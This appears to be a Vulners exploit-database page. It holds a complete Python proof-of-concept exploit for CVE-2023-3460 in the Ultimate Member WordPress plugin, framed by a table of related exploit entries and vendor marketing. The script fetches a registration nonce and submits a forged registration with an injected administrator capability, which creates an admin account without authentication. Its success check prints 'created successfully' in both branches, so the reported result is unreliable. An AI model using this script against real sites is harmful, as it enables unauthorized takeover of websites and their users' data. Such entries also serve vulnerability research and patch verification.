| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| Exploit for CVE-2023-3460 | 22 Jul 202510:10 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 5 Jul 202313:44 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 27 Jul 202315:19 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 4 Jan 202422:43 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 11 Dec 202407:38 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 15 Aug 202316:56 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 7 Jul 202312:40 | – | githubexploit | |
| Exploit for CVE-2023-3460 | 11 Jul 202320:15 | – | githubexploit | |
| CVE-2023-3460 | 1 Jul 202310:08 | – | circl | |
| WordPress Plugin Ultimate Member 权限许可和访问控制问题漏洞 | 30 Jun 202300:00 | – | cnnvd |
#!/usr/bin/env python3
# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
# Exploit Author: Gurjot Singh
# CVE: CVE-2023-3460
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.
import requests
import argparse
import re
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def fetch_nonce(session, target_url):
"""Fetches the _wpnonce value from the /register/ page."""
print("[*] Fetching _wpnonce from the register page...")
try:
res = session.get(target_url, verify=False)
match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
if match:
nonce = match.group(1)
print(f"[+] Found _wpnonce: {nonce}")
return nonce
else:
print("[-] Failed to find _wpnonce on the page.")
return None
except Exception as e:
print(f"[!] Error fetching nonce: {e}")
return None
def exploit_register(target_url, username, password):
"""Sends a malicious registration request to create an admin user."""
session = requests.Session()
target_url = target_url.rstrip('/')
nonce = fetch_nonce(session, target_url)
if not nonce:
return
email = f"{username}@example.com"
# Payload with administrator role injection
data = {
"user_login-7": username,
"first_name-7": "Admin",
"last_name-7": username,
"user_email-7": email,
"user_password-7": password,
"confirm_user_password-7": password,
"form_id": "7",
"um_request": "",
"_wpnonce": nonce,
"_wp_http_referer": "/register/",
"wp_càpabilities[administrator]": "1" # serialized injection
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": target_url,
"Origin": target_url.split("/register")[0],
}
cookies = {
"wordpress_test_cookie": "WP Cookie check",
"wp_lang": "en_US"
}
print(f"[*] Sending malicious registration to {target_url} ...")
try:
response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
# Check for success
if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
else:
print(f"[+] Admin account '{username}' created successfully!")
print(f"[+] Login with: Username: {username} | Password: {password}")
except Exception as e:
print(f"[!] Error during exploit: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
parser.add_argument("-u", "--user", default="admin1", help="Username to create")
parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
args = parser.parse_args()
exploit_register(args.target, args.user, args.password)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation